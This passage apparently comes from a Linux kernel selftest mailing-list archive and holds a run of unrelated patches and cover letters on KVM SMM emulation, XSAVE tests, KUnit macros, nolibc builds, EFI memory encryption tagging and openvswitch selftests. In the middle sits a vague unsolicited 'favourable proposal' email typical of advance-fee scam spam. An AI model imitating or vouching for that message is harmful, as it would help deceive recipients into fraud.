pid = sys_clone3(&args);
ASSERT_GE(pid, 0);
if (pid == 0) {
+ char buf[2];
+
+ close(pfd[1]);
kill(getpid(), SIGSTOP);
+ ASSERT_EQ(read(pfd[0], buf, 1), 1);
+ close(pfd[0]);
kill(getpid(), SIGSTOP);
exit(EXIT_SUCCESS);
}
+ close(pfd[0]);
ASSERT_EQ(sys_waitid(P_PIDFD, pidfd, &info, WSTOPPED, NULL), 0);
ASSERT_EQ(info.si_signo, SIGCHLD);
ASSERT_EQ(info.si_code, CLD_STOPPED);
@@ -117,6 +125,8 @@ static int sys_waitid(int which, pid_t pid, siginfo_t *info, int options,
ASSERT_EQ(sys_pidfd_send_signal(pidfd, SIGCONT, NULL, 0), 0);
ASSERT_EQ(sys_waitid(P_PIDFD, pidfd, &info, WCONTINUED, NULL), 0);
+ ASSERT_EQ(write(pfd[1], "C", 1), 1);
+ close(pfd[1]);
ASSERT_EQ(info.si_signo, SIGCHLD);
ASSERT_EQ(info.si_code, CLD_CONTINUED);
ASSERT_EQ(info.si_pid, parent_tid);
--
1.8.3.1
This patch series is a result of long debug work to find out why
sometimes guests with win11 secure boot
were failing during boot.
During writing a unit test I found another bug, turns out
that on rsm emulation, if the rsm instruction was done in real
or 32 bit mode, KVM would truncate the restored RIP to 32 bit.
I also refactored the way we write SMRAM so it is easier
now to understand what is going on.
The main bug in this series which I fixed is that we
allowed #SMI to happen during the STI interrupt shadow,
and we did nothing to both reset it on #SMI handler
entry and restore it on RSM.
V4:
- rebased on top of patch series from Paolo which
allows smm support to be disabled by Kconfig option.
- addressed review feedback.
I included these patches in the series for reference.
Best regards,
Maxim Levitsky
Maxim Levitsky (15):
bug: introduce ASSERT_STRUCT_OFFSET
KVM: x86: emulator: em_sysexit should update ctxt->mode
KVM: x86: emulator: introduce emulator_recalc_and_set_mode
KVM: x86: emulator: update the emulation mode after rsm
KVM: x86: emulator: update the emulation mode after CR0 write
KVM: x86: smm: number of GPRs in the SMRAM image depends on the image
format
KVM: x86: smm: check for failures on smm entry
KVM: x86: smm: add structs for KVM's smram layout
KVM: x86: smm: use smram structs in the common code
KVM: x86: smm: use smram struct for 32 bit smram load/restore
KVM: x86: smm: use smram struct for 64 bit smram load/restore
KVM: svm: drop explicit return value of kvm_vcpu_map
KVM: x86: SVM: use smram structs
KVM: x86: SVM: don't save SVM state to SMRAM when VM is not long mode
capable
KVM: x86: smm: preserve interrupt shadow in SMRAM
Paolo Bonzini (8):
KVM: x86: start moving SMM-related functions to new files
KVM: x86: move SMM entry to a new file
KVM: x86: move SMM exit to a new file
KVM: x86: do not go through ctxt->ops when emulating rsm
KVM: allow compiling out SMM support
KVM: x86: compile out vendor-specific code if SMM is disabled
KVM: x86: remove SMRAM address space if SMM is not supported
KVM: x86: do not define KVM_REQ_SMI if SMM disabled
arch/x86/include/asm/kvm-x86-ops.h | 2 +
arch/x86/include/asm/kvm_host.h | 29 +-
arch/x86/kvm/Kconfig | 11 +
arch/x86/kvm/Makefile | 1 +
arch/x86/kvm/emulate.c | 458 +++----------
arch/x86/kvm/kvm_cache_regs.h | 5 -
arch/x86/kvm/kvm_emulate.h | 47 +-
arch/x86/kvm/lapic.c | 14 +-
arch/x86/kvm/lapic.h | 7 +-
arch/x86/kvm/mmu/mmu.c | 1 +
arch/x86/kvm/smm.c | 637 ++++++++++++++++++
arch/x86/kvm/smm.h | 160 +++++
arch/x86/kvm/svm/nested.c | 3 +
arch/x86/kvm/svm/svm.c | 43 +-
arch/x86/kvm/vmx/nested.c | 1 +
arch/x86/kvm/vmx/vmcs12.h | 5 +-
arch/x86/kvm/vmx/vmx.c | 11 +-
arch/x86/kvm/x86.c | 353 +---------
include/linux/build_bug.h | 9 +
tools/testing/selftests/kvm/x86_64/smm_test.c | 2 +
20 files changed, 1031 insertions(+), 768 deletions(-)
create mode 100644 arch/x86/kvm/smm.c
create mode 100644 arch/x86/kvm/smm.h
--
2.34.3
The XSAVE feature set supports the saving and restoring of xstate components.
XSAVE feature has been used for process context switching. XSAVE components
include x87 state for FP execution environment, SSE state, AVX state and so on.
In order to ensure that XSAVE works correctly, add XSAVE most basic test for
XSAVE architecture functionality.
This patch tests "FP, SSE(XMM), AVX2(YMM), AVX512_OPMASK/AVX512_ZMM_Hi256/
AVX512_Hi16_ZMM and PKRU parts" xstates with following cases:
1. The contents of these xstates in the process should not change after the
signal handling.
2. The contents of these xstates in the child process should be the same as
the contents of the xstate in the parent process after the fork syscall.
3. The contents of xstates in the parent process should not change after
the context switch.
As stated in the ABI(Application Binary Interface) specification:
https://refspecs.linuxbase.org/elf/x86_64-abi-0.99.pdf
Xstate like XMM is not preserved across function calls, so fork() function
which provided from libc could not be used in the xsave test, and the libc
function is replaced with an inline function of the assembly code only.
To prevent GCC from generating any FP/SSE(XMM)/AVX/PKRU code by mistake, add
"-mno-sse -mno-mmx -mno-sse2 -mno-avx -mno-pku" compiler arguments. stdlib.h
can not be used because of the "-mno-sse" option.
Thanks Dave, Hansen for the above suggestion!
Thanks Chen Yu; Shuah Khan; Chatre Reinette and Tony Luck's comments!
Thanks to Bae, Chang Seok for a bunch of comments!
========
- Change from v12 to v13
- Improve the comments of CPUID.(EAX=0DH, ECX=0H):EBX.
- Change from v11 to v12
- Remove useless rbx register stuffing in assembly syscall functions.
(Zhang, Li)
- Change from v10 to v11
- Remove the small function like cpu_has_pkru(), get_xstate_size() and so
on. (Shuah Khan)
- Unify xfeature_num type to uint32_t.
- Change from v9 to v10
- Remove the small function if the function will be called once and there
is no good reason. (Shuah Khan)
- Change from v8 to v9
- Use function pointers to make it more structured. (Hansen, Dave)
- Improve the function name: xstate_tested -> xstate_in_test. (Chang S. Bae)
- Break this test up into two pieces: keep the xstate key test steps with
"-mno-sse" and no stdlib.h, keep others in xstate.c file. (Hansen, Dave)
- Use kselftest infrastructure for xstate.c file. (Hansen, Dave)
- Use instruction back to populate fp xstate buffer. (Hansen, Dave)
- Will skip the test if cpu could not support xsave. (Chang S. Bae)
- Use __cpuid_count() helper in kselftest.h. (Reinette, Chatre)
- Change from v7 to v8
Many thanks to Bae, Chang Seok for a bunch of comments as follow:
- Use the filling buffer way to prepare the xstate buffer, and use xrstor
instruction way to load the tested xstates.
- Remove useless dump_buffer, compare_buffer functions.
- Improve the struct of xstate_info.
- Added AVX512_ZMM_Hi256 and AVX512_Hi16_ZMM components in xstate test.
- Remove redundant xstate_info.xstate_mask, xstate_flag[], and
xfeature_test_mask, use xstate_info.mask instead.
- Check if xfeature is supported outside of fill_xstate_buf() , this change
is easier to read and understand.
- Remove useless wrpkru, only use filling all tested xstate buffer in
fill_xstates_buf().
- Improve a bunch of function names and variable names.
- Improve test steps flow for readability.
- Change from v6 to v7:
- Added the error number and error description of the reason for the
failure, thanks Shuah Khan's suggestion.
- Added a description of what these tests are doing in the head comments.
- Added changes update in the head comments.
- Added description of the purpose of the function. thanks Shuah Khan.
- Change from v5 to v6:
- In order to prevent GCC from generating any FP code by mistake,
"-mno-sse -mno-mmx -mno-sse2 -mno-avx -mno-pku" compiler parameter was
added, it's referred to the parameters for compiling the x86 kernel. Thanks
Dave Hansen's suggestion.
- Removed the use of "kselftest.h", because kselftest.h included <stdlib.h>,
and "stdlib.h" would use sse instructions in it's libc, and this *XSAVE*
test needed to be compiled without libc sse instructions(-mno-sse).
- Improved the description in commit header, thanks Chen Yu's suggestion.
- Becasue test code could not use buildin xsave64 in libc without sse, added
xsave function by instruction way.
- Every key test action would not use libc(like printf) except syscall until
it's failed or done. If it's failed, then it would print the failed reason.
- Used __cpuid_count() instead of native_cpuid(), becasue __cpuid_count()
was a macro definition function with one instruction in libc and did not
change xstate. Thanks Chatre Reinette, Shuah Khan.
https://lore.kernel.org/linux-sgx/8b7c98f4-f050-bc1c-5699-fa598ecc66a2@linu…
- Change from v4 to v5:
- Moved code files into tools/testing/selftests/x86.
- Delete xsave instruction test, becaue it's not related to kernel.
- Improved case description.
- Added AVX512 opmask change and related XSAVE content verification.
- Added PKRU part xstate test into instruction and signal handling test.
- Added XSAVE process swich test for FPU, AVX2, AVX512 opmask and PKRU part.
- Change from v3 to v4:
- Improve the comment in patch 1.
- Change from v2 to v3:
- Improve the description of patch 2 git log.
- Change from v1 to v2:
- Improve the cover-letter. Thanks Dave Hansen's suggestion.
Pengfei Xu (2):
selftests/x86/xstate: Add xstate signal handling test for XSAVE
feature
selftests/x86/xstate: Add xstate fork test for XSAVE feature
tools/testing/selftests/x86/.gitignore | 1 +
tools/testing/selftests/x86/Makefile | 11 +-
tools/testing/selftests/x86/xstate.c | 214 +++++++++++++++++
tools/testing/selftests/x86/xstate.h | 228 +++++++++++++++++++
tools/testing/selftests/x86/xstate_helpers.c | 209 +++++++++++++++++
tools/testing/selftests/x86/xstate_helpers.h | 9 +
6 files changed, 670 insertions(+), 2 deletions(-)
create mode 100644 tools/testing/selftests/x86/xstate.c
create mode 100644 tools/testing/selftests/x86/xstate.h
create mode 100644 tools/testing/selftests/x86/xstate_helpers.c
create mode 100644 tools/testing/selftests/x86/xstate_helpers.h
--
2.31.1
Remove the repeated word "and" in comments.
Signed-off-by: Shaomin Deng <dengshaomin(a)cdjrlc.com>
---
tools/testing/selftests/core/close_range_test.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/tools/testing/selftests/core/close_range_test.c b/tools/testing/selftests/core/close_range_test.c
index 749239930ca8..4db5ec73d016 100644
--- a/tools/testing/selftests/core/close_range_test.c
+++ b/tools/testing/selftests/core/close_range_test.c
@@ -476,7 +476,7 @@ TEST(close_range_cloexec_unshare_syzbot)
/*
* Create a huge gap in the fd table. When we now call
- * CLOSE_RANGE_UNSHARE with a shared fd table and and with ~0U as upper
+ * CLOSE_RANGE_UNSHARE with a shared fd table and with ~0U as upper
* bound the kernel will only copy up to fd1 file descriptors into the
* new fd table. If the kernel is buggy and doesn't handle
* CLOSE_RANGE_CLOEXEC correctly it will not have copied all file
--
2.35.1
Paul and myself got trapped a few times by not seeing the effects of
applying a patch to the nolibc source code until a "make clean" was
issued in the nolibc directory. It's particularly annoying when trying
to confirm that a proposed patch really solves a problem (or that
reverting it reintroduces the problem).
The reason for the sysroot not being rebuilt was that it can be quite
slow. But in fact it's only slow after a "make clean" issued at the
kernel's topdir, because it's the main "make headers" that can take a
tens of seconds; as long as "usr/include" still contains headers, the
"headers_install" phase is only a quick "rsync", and rebuilding the
whole nolibc sysroot takes a bit less than one second, which is perfectly
acceptable for a test, even more once the time lost caused by misleading
results if factored in.
This patch marks the sysroot target as phony and starts by clearing
the previous sysroot for the current architecture before reinstalling
it. Thanks to this, applying a patch to nolibc makes the effect
immediately visible to "make nolibc-test":
$ time make -j -C tools/testing/selftests/nolibc nolibc-test
make: Entering directory '/k/tools/testing/selftests/nolibc'
MKDIR sysroot/x86/include
make[1]: Entering directory '/k/tools/include/nolibc'
make[2]: Entering directory '/k'
make[2]: Leaving directory '/k'
make[2]: Entering directory '/k'
INSTALL /k/tools/testing/selftests/nolibc/sysroot/sysroot/include
make[2]: Leaving directory '/k'
make[1]: Leaving directory '/k/tools/include/nolibc'
CC nolibc-test
make: Leaving directory '/k/tools/testing/selftests/nolibc'
real 0m0.869s
user 0m0.716s
sys 0m0.149s
Cc: "Paul E. McKenney" <paulmck(a)kernel.org>
Link: https://lore.kernel.org/all/20221021155645.GK5600@paulmck-ThinkPad-P17-Gen-…
Signed-off-by: Willy Tarreau <w(a)1wt.eu>
---
tools/testing/selftests/nolibc/Makefile | 3 +++
1 file changed, 3 insertions(+)
diff --git a/tools/testing/selftests/nolibc/Makefile b/tools/testing/selftests/nolibc/Makefile
index 69ea659caca9..22f1e1d73fa8 100644
--- a/tools/testing/selftests/nolibc/Makefile
+++ b/tools/testing/selftests/nolibc/Makefile
@@ -95,6 +95,7 @@ all: run
sysroot: sysroot/$(ARCH)/include
sysroot/$(ARCH)/include:
+ $(Q)rm -rf sysroot/$(ARCH) sysroot/sysroot
$(QUIET_MKDIR)mkdir -p sysroot
$(Q)$(MAKE) -C ../../../include/nolibc ARCH=$(ARCH) OUTPUT=$(CURDIR)/sysroot/ headers_standalone
$(Q)mv sysroot/sysroot sysroot/$(ARCH)
@@ -133,3 +134,5 @@ clean:
$(Q)rm -rf initramfs
$(call QUIET_CLEAN, run.out)
$(Q)rm -rf run.out
+
+.PHONY: sysroot/$(ARCH)/include
--
2.35.3
From: Roberto Sassu <roberto.sassu(a)huawei.com>
include/linux/lsm_hooks.h reports the result of the LSM infrastructure to
the callers, not what LSMs should return to the LSM infrastructure.
Clarify that and add that returning 1 from the LSMs means calling
__vm_enough_memory() with cap_sys_admin set, 0 without.
Signed-off-by: Roberto Sassu <roberto.sassu(a)huawei.com>
---
include/linux/lsm_hooks.h | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/include/linux/lsm_hooks.h b/include/linux/lsm_hooks.h
index 4ec80b96c22e..f40b82ca91e7 100644
--- a/include/linux/lsm_hooks.h
+++ b/include/linux/lsm_hooks.h
@@ -1411,7 +1411,9 @@
* Check permissions for allocating a new virtual mapping.
* @mm contains the mm struct it is being added to.
* @pages contains the number of pages.
- * Return 0 if permission is granted.
+ * Return 0 if permission is granted by LSMs to the caller. LSMs should
+ * return 1 if __vm_enough_memory() should be called with
+ * cap_sys_admin set, 0 if not.
*
* @ismaclabel:
* Check if the extended attribute specified by @name
--
2.25.1
Show for each node if every memory descriptor in that node has the
EFI_MEMORY_CPU_CRYPTO attribute.
fwupd project plans to use it as part of a check to see if the users
have properly configured memory hardware encryption
capabilities. fwupd's people have seen cases where it seems like there
is memory encryption because all the hardware is capable of doing it,
but on a closer look there is not, either because of system firmware
or because some component requires updating to enable the feature.
The MKTME/TME spec says that it will only encrypt those memory regions
which are flagged with the EFI_MEMORY_CPU_CRYPTO attribute.
If all nodes are capable of encryption and if the system have tme/sme
on we can pretty confidently say that the device is actively
encrypting all its memory.
It's planned to make this check part of an specification that can be
passed to people purchasing hardware
These checks will run at every boot. The specification is called Host
Security ID: https://fwupd.github.io/libfwupdplugin/hsi.html.
We choosed to do it a per-node basis because although an ABI that
shows that the whole system memory is capable of encryption would be
useful for the fwupd use case, doing it in a per-node basis would make
the path easier to give the capability to the user to target
allocations from applications to NUMA nodes which have encryption
capabilities in the future.
Changes since v8:
Add unit tests to e820_range_* functions
Changes since v7:
Less kerneldocs
Less verbosity in the e820 code
Changes since v6:
Fixes in __e820__handle_range_update
Const correctness in e820.c
Correct alignment in memblock.h
Rework memblock_overlaps_region
Changes since v5:
Refactor e820__range_{update, remove, set_crypto_capable} in order to
avoid code duplication.
Warn the user when a node has both encryptable and non-encryptable
regions.
Check that e820_table has enough size to store both current e820_table
and EFI memmap.
Changes since v4:
Add enum to represent the cryptographic capabilities in e820:
e820_crypto_capabilities.
Revert __e820__range_update, only adding the new argument for
__e820__range_add about crypto capabilities.
Add a function __e820__range_update_crypto similar to
__e820__range_update but to only update this new field.
Changes since v3:
Update date in Doc/ABI file.
More information about the fwupd usecase and the rationale behind
doing it in a per-NUMA-node.
Changes since v2:
e820__range_mark_crypto -> e820__range_mark_crypto_capable.
In e820__range_remove: Create a region with crypto capabilities
instead of creating one without it and then mark it.
Changes since v1:
Modify __e820__range_update to update the crypto capabilities of a
range; now this function will change the crypto capability of a range
if it's called with the same old_type and new_type. Rework
efi_mark_e820_regions_as_crypto_capable based on this.
Update do_add_efi_memmap to mark the regions as it creates them.
Change the type of crypto_capable in e820_entry from bool to u8.
Fix e820__update_table changes.
Remove memblock_add_crypto_capable. Now you have to add the region and
mark it then.
Better place for crypto_capable in pglist_data.
Martin Fernandez (9):
mm/memblock: Tag memblocks with crypto capabilities
mm/mmzone: Tag pg_data_t with crypto capabilities
x86/e820: Add infrastructure to refactor e820__range_{update,remove}
x86/e820: Refactor __e820__range_update
x86/e820: Refactor e820__range_remove
x86/e820: Tag e820_entry with crypto capabilities
x86/e820: Add unit tests for e820_range_* functions
x86/efi: Mark e820_entries as crypto capable from EFI memmap
drivers/node: Show in sysfs node's crypto capabilities
Documentation/ABI/testing/sysfs-devices-node | 10 +
arch/x86/Kconfig.debug | 10 +
arch/x86/include/asm/e820/api.h | 1 +
arch/x86/include/asm/e820/types.h | 12 +-
arch/x86/kernel/e820.c | 393 ++++++++++++++-----
arch/x86/kernel/e820_test.c | 249 ++++++++++++
arch/x86/platform/efi/efi.c | 37 ++
drivers/base/node.c | 10 +
include/linux/memblock.h | 5 +
include/linux/mmzone.h | 3 +
mm/memblock.c | 62 +++
mm/page_alloc.c | 1 +
12 files changed, 695 insertions(+), 98 deletions(-)
create mode 100644 Documentation/ABI/testing/sysfs-devices-node
create mode 100644 arch/x86/kernel/e820_test.c
--
2.30.2
Hello,
Good afternoon and how are you?
I have an important and favourable information/proposal which might
interest you to know,
let me hear from you to detail you, it's important
Sincerely,
M.Cheickna
tourecheickna(a)consultant.com
Syzbot recently caught a splat when dropping features from
openvswitch datapaths that are in-use. The WARN() call is
definitely too large a hammer for the situation, so change
to pr_warn.
Second patch in the series introduces a new selftest suite which
can help show that an issue is fixed. This change might be
more suited to net-next tree, so it has been separated out
as an additional patch and can be either applied to either tree
based on preference.
Aaron Conole (2):
openvswitch: switch from WARN to pr_warn
selftests: add openvswitch selftest suite
MAINTAINERS | 1 +
net/openvswitch/datapath.c | 3 +-
tools/testing/selftests/Makefile | 1 +
.../selftests/net/openvswitch/Makefile | 13 +
.../selftests/net/openvswitch/openvswitch.sh | 218 +++++++++++
.../selftests/net/openvswitch/ovs-dpctl.py | 351 ++++++++++++++++++
6 files changed, 586 insertions(+), 1 deletion(-)
create mode 100644 tools/testing/selftests/net/openvswitch/Makefile
create mode 100755 tools/testing/selftests/net/openvswitch/openvswitch.sh
create mode 100644 tools/testing/selftests/net/openvswitch/ovs-dpctl.py
--
2.34.3
Currently, in order to compare memory blocks in KUnit, the KUNIT_EXPECT_EQ or
KUNIT_EXPECT_FALSE macros are used in conjunction with the memcmp function,
such as:
KUNIT_EXPECT_EQ(test, memcmp(foo, bar, size), 0);
Although this usage produces correct results for the test cases, if the
expectation fails the error message is not very helpful, indicating only the
return of the memcmp function.
Therefore, create a new set of macros KUNIT_EXPECT_MEMEQ and
KUNIT_EXPECT_MEMNEQ that compare memory blocks until a determined size. In
case of expectation failure, those macros print the hex dump of the memory
blocks, making it easier to debug test failures for memory blocks.
The v7 has some formatting changes on the first patch and it was rebased on
top of the mainline (due to 7089003304c6).
The first patch of the series introduces the KUNIT_EXPECT_MEMEQ and
KUNIT_EXPECT_MEMNEQ. The second patch adds an example of memory block
expectations on the kunit-example-test.c. And the last patch replaces the
KUNIT_EXPECT_EQ for KUNIT_EXPECT_MEMEQ on the existing occurrences.
Best Regards,
- Maíra Canal
v1 -> v2: https://lore.kernel.org/linux-kselftest/2a0dcd75-5461-5266-2749-808f638f4c5…
- Change "determinated" to "specified" (Daniel Latypov).
- Change the macro KUNIT_EXPECT_ARREQ to KUNIT_EXPECT_MEMEQ, in order to make
it easier for users to infer the right size unit (Daniel Latypov).
- Mark the different bytes on the failure message with a <> (Daniel Latypov).
- Replace a constant number of array elements for ARRAY_SIZE() (André Almeida).
- Rename "array" and "expected" variables to "array1" and "array2" (Daniel Latypov).
v2 -> v3: https://lore.kernel.org/linux-kselftest/20220802212621.420840-1-mairacanal@…
- Make the bytes aligned at output.
- Add KUNIT_SUBSUBTEST_INDENT to the output for the indentation (Daniel Latypov).
- Line up the trailing \ at macros using tabs (Daniel Latypov).
- Line up the params to the functions (Daniel Latypov).
- Change "Increament" to "Augment" (Daniel Latypov).
- Use sizeof() for array sizes (Daniel Latypov).
- Add Daniel Latypov's tags.
v3 -> v4: https://lore.kernel.org/linux-kselftest/CABVgOSm_59Yr82deQm2C=18jjSv_akmn66…
- Fix wrapped lines by the mail client (David Gow).
- Mention on documentation that KUNIT_EXPECT_MEMEQ is not recommended for
structured data (David Gow).
- Add Muhammad Usama Anjum's tag.
v4 -> v5: https://lore.kernel.org/linux-kselftest/20220808125237.277126-1-mairacanal@…
- Rebase on top of drm-misc-next.
- Add David Gow's tags.
v5 -> v6: https://lore.kernel.org/linux-kselftest/20220921014515.113062-1-mairacanal@…
- Rebase on top of Linux 6.1.
- Change KUNIT_ASSERTION macro to _KUNIT_FAILED.
v6 -> v7: https://lore.kernel.org/linux-kselftest/20221018190541.189780-1-mairacanal@…
- Format nits (David Gow).
- Rebase on top of Linux 6.1-rc2.
Maíra Canal (3):
kunit: Introduce KUNIT_EXPECT_MEMEQ and KUNIT_EXPECT_MEMNEQ macros
kunit: Add KUnit memory block assertions to the example_all_expect_macros_test
kunit: Use KUNIT_EXPECT_MEMEQ macro
.../gpu/drm/tests/drm_format_helper_test.c | 12 +--
include/kunit/assert.h | 33 +++++++
include/kunit/test.h | 87 +++++++++++++++++++
lib/kunit/assert.c | 56 ++++++++++++
lib/kunit/kunit-example-test.c | 7 ++
net/core/dev_addr_lists_test.c | 4 +-
6 files changed, 191 insertions(+), 8 deletions(-)
--
2.37.3
hugepage-vmemmap test fails for s390 because it assumes a hugepagesize
of 2 MB, while we have 1 MB on s390. This results in iterating over two
hugepages. If they are consecutive in memory, check_page_flags() will
stumble over the additional head page. Otherwise, it will stumble over
non-huge pageflags, after crossing the first 1 MB hugepage.
Fix this by using 1 MB MAP_LENGTH for s390.
Signed-off-by: Gerald Schaefer <gerald.schaefer(a)linux.ibm.com>
---
tools/testing/selftests/vm/hugepage-vmemmap.c | 7 +++++++
1 file changed, 7 insertions(+)
diff --git a/tools/testing/selftests/vm/hugepage-vmemmap.c b/tools/testing/selftests/vm/hugepage-vmemmap.c
index 557bdbd4f87e..a4695f138cec 100644
--- a/tools/testing/selftests/vm/hugepage-vmemmap.c
+++ b/tools/testing/selftests/vm/hugepage-vmemmap.c
@@ -11,7 +11,14 @@
#include <sys/mman.h>
#include <fcntl.h>
+/*
+ * 1 MB hugepage size for s390
+ */
+#if defined(__s390x__)
+#define MAP_LENGTH (1UL * 1024 * 1024)
+#else
#define MAP_LENGTH (2UL * 1024 * 1024)
+#endif
#ifndef MAP_HUGETLB
#define MAP_HUGETLB 0x40000 /* arch specific */
--
2.34.1
KUnit does a few expensive things when enabled. This hasn't been a
problem because KUnit was only enabled on test kernels, but with a few
people enabling (but not _using_) KUnit on production systems, we need a
runtime way of handling this.
Provide a 'kunit_running' static key (defaulting to false), which allows
us to hide any KUnit code behind a static branch. This should reduce the
performance impact (on other code) of having KUnit enabled to a single
NOP when no tests are running.
Note that, while it looks unintuitive, tests always run entirely within
__kunit_test_suites_init(), so it's safe to decrement the static key at
the end of this function, rather than in __kunit_test_suites_exit(),
which is only there to clean up results in debugfs.
Signed-off-by: David Gow <davidgow(a)google.com>
---
This should be a no-op (other than a possible performance improvement)
functionality-wise, and lays the groundwork for a more optimised static
stub implementation.
The remaining patches in the series add a kunit_get_current_test()
function which is a more friendly and performant wrapper around
current->kunit_test, and use this in the slub test. They also improve
the documentation a bit.
If there are no objections, we'll take the whole series via the KUnit
tree.
Changes since v1:
https://lore.kernel.org/linux-kselftest/20221021072854.333010-1-davidgow@go…
- No changes in this patch.
- Patch 2/3 is reworked, patch 3/3 is new.
---
include/kunit/test.h | 4 ++++
lib/kunit/test.c | 6 ++++++
2 files changed, 10 insertions(+)
diff --git a/include/kunit/test.h b/include/kunit/test.h
index b1ab6b32216d..450a778a039e 100644
--- a/include/kunit/test.h
+++ b/include/kunit/test.h
@@ -16,6 +16,7 @@
#include <linux/container_of.h>
#include <linux/err.h>
#include <linux/init.h>
+#include <linux/jump_label.h>
#include <linux/kconfig.h>
#include <linux/kref.h>
#include <linux/list.h>
@@ -27,6 +28,9 @@
#include <asm/rwonce.h>
+/* Static key: true if any KUnit tests are currently running */
+extern struct static_key_false kunit_running;
+
struct kunit;
/* Size of log associated with test. */
diff --git a/lib/kunit/test.c b/lib/kunit/test.c
index 90640a43cf62..314717b63080 100644
--- a/lib/kunit/test.c
+++ b/lib/kunit/test.c
@@ -20,6 +20,8 @@
#include "string-stream.h"
#include "try-catch-impl.h"
+DEFINE_STATIC_KEY_FALSE(kunit_running);
+
#if IS_BUILTIN(CONFIG_KUNIT)
/*
* Fail the current test and print an error message to the log.
@@ -612,10 +614,14 @@ int __kunit_test_suites_init(struct kunit_suite * const * const suites, int num_
return 0;
}
+ static_branch_inc(&kunit_running);
+
for (i = 0; i < num_suites; i++) {
kunit_init_suite(suites[i]);
kunit_run_tests(suites[i]);
}
+
+ static_branch_dec(&kunit_running);
return 0;
}
EXPORT_SYMBOL_GPL(__kunit_test_suites_init);
--
2.38.0.135.g90850a2211-goog
The contents of 'tips.rst' was included in 'usage.rst' way back in
commit 953574390634 ("Documentation: KUnit: Rework writing page to focus on writing tests"),
but the tips page remained behind as well.
Therefore, delete 'tips.rst'
While I regret breaking any links to 'tips' which might exist
externally, it's confusing to have two subtly different versions of the
same content around.
Signed-off-by: David Gow <davidgow(a)google.com>
---
Documentation/dev-tools/kunit/index.rst | 1 -
Documentation/dev-tools/kunit/tips.rst | 190 ------------------------
2 files changed, 191 deletions(-)
delete mode 100644 Documentation/dev-tools/kunit/tips.rst
diff --git a/Documentation/dev-tools/kunit/index.rst b/Documentation/dev-tools/kunit/index.rst
index f5d13f1d37be..d5629817cd72 100644
--- a/Documentation/dev-tools/kunit/index.rst
+++ b/Documentation/dev-tools/kunit/index.rst
@@ -16,7 +16,6 @@ KUnit - Linux Kernel Unit Testing
api/index
style
faq
- tips
running_tips
This section details the kernel unit testing framework.
diff --git a/Documentation/dev-tools/kunit/tips.rst b/Documentation/dev-tools/kunit/tips.rst
deleted file mode 100644
index 492d2ded2f5a..000000000000
--- a/Documentation/dev-tools/kunit/tips.rst
+++ /dev/null
@@ -1,190 +0,0 @@
-.. SPDX-License-Identifier: GPL-2.0
-
-============================
-Tips For Writing KUnit Tests
-============================
-
-Exiting early on failed expectations
-------------------------------------
-
-``KUNIT_EXPECT_EQ`` and friends will mark the test as failed and continue
-execution. In some cases, it's unsafe to continue and you can use the
-``KUNIT_ASSERT`` variant to exit on failure.
-
-.. code-block:: c
-
- void example_test_user_alloc_function(struct kunit *test)
- {
- void *object = alloc_some_object_for_me();
-
- /* Make sure we got a valid pointer back. */
- KUNIT_ASSERT_NOT_ERR_OR_NULL(test, object);
- do_something_with_object(object);
- }
-
-Allocating memory
------------------
-
-Where you would use ``kzalloc``, you should prefer ``kunit_kzalloc`` instead.
-KUnit will ensure the memory is freed once the test completes.
-
-This is particularly useful since it lets you use the ``KUNIT_ASSERT_EQ``
-macros to exit early from a test without having to worry about remembering to
-call ``kfree``.
-
-Example:
-
-.. code-block:: c
-
- void example_test_allocation(struct kunit *test)
- {
- char *buffer = kunit_kzalloc(test, 16, GFP_KERNEL);
- /* Ensure allocation succeeded. */
- KUNIT_ASSERT_NOT_ERR_OR_NULL(test, buffer);
-
- KUNIT_ASSERT_STREQ(test, buffer, "");
- }
-
-
-Testing static functions
-------------------------
-
-If you don't want to expose functions or variables just for testing, one option
-is to conditionally ``#include`` the test file at the end of your .c file, e.g.
-
-.. code-block:: c
-
- /* In my_file.c */
-
- static int do_interesting_thing();
-
- #ifdef CONFIG_MY_KUNIT_TEST
- #include "my_kunit_test.c"
- #endif
-
-Injecting test-only code
-------------------------
-
-Similarly to the above, it can be useful to add test-specific logic.
-
-.. code-block:: c
-
- /* In my_file.h */
-
- #ifdef CONFIG_MY_KUNIT_TEST
- /* Defined in my_kunit_test.c */
- void test_only_hook(void);
- #else
- void test_only_hook(void) { }
- #endif
-
-This test-only code can be made more useful by accessing the current kunit
-test, see below.
-
-Accessing the current test
---------------------------
-
-In some cases, you need to call test-only code from outside the test file, e.g.
-like in the example above or if you're providing a fake implementation of an
-ops struct.
-There is a ``kunit_test`` field in ``task_struct``, so you can access it via
-``current->kunit_test``.
-
-Here's a slightly in-depth example of how one could implement "mocking":
-
-.. code-block:: c
-
- #include <linux/sched.h> /* for current */
-
- struct test_data {
- int foo_result;
- int want_foo_called_with;
- };
-
- static int fake_foo(int arg)
- {
- struct kunit *test = current->kunit_test;
- struct test_data *test_data = test->priv;
-
- KUNIT_EXPECT_EQ(test, test_data->want_foo_called_with, arg);
- return test_data->foo_result;
- }
-
- static void example_simple_test(struct kunit *test)
- {
- /* Assume priv is allocated in the suite's .init */
- struct test_data *test_data = test->priv;
-
- test_data->foo_result = 42;
- test_data->want_foo_called_with = 1;
-
- /* In a real test, we'd probably pass a pointer to fake_foo somewhere
- * like an ops struct, etc. instead of calling it directly. */
- KUNIT_EXPECT_EQ(test, fake_foo(1), 42);
- }
-
-
-Note: here we're able to get away with using ``test->priv``, but if you wanted
-something more flexible you could use a named ``kunit_resource``, see
-Documentation/dev-tools/kunit/api/test.rst.
-
-Failing the current test
-------------------------
-
-But sometimes, you might just want to fail the current test. In that case, we
-have ``kunit_fail_current_test(fmt, args...)`` which is defined in ``<kunit/test-bug.h>`` and
-doesn't require pulling in ``<kunit/test.h>``.
-
-E.g. say we had an option to enable some extra debug checks on some data structure:
-
-.. code-block:: c
-
- #include <kunit/test-bug.h>
-
- #ifdef CONFIG_EXTRA_DEBUG_CHECKS
- static void validate_my_data(struct data *data)
- {
- if (is_valid(data))
- return;
-
- kunit_fail_current_test("data %p is invalid", data);
-
- /* Normal, non-KUnit, error reporting code here. */
- }
- #else
- static void my_debug_function(void) { }
- #endif
-
-
-Customizing error messages
---------------------------
-
-Each of the ``KUNIT_EXPECT`` and ``KUNIT_ASSERT`` macros have a ``_MSG`` variant.
-These take a format string and arguments to provide additional context to the automatically generated error messages.
-
-.. code-block:: c
-
- char some_str[41];
- generate_sha1_hex_string(some_str);
-
- /* Before. Not easy to tell why the test failed. */
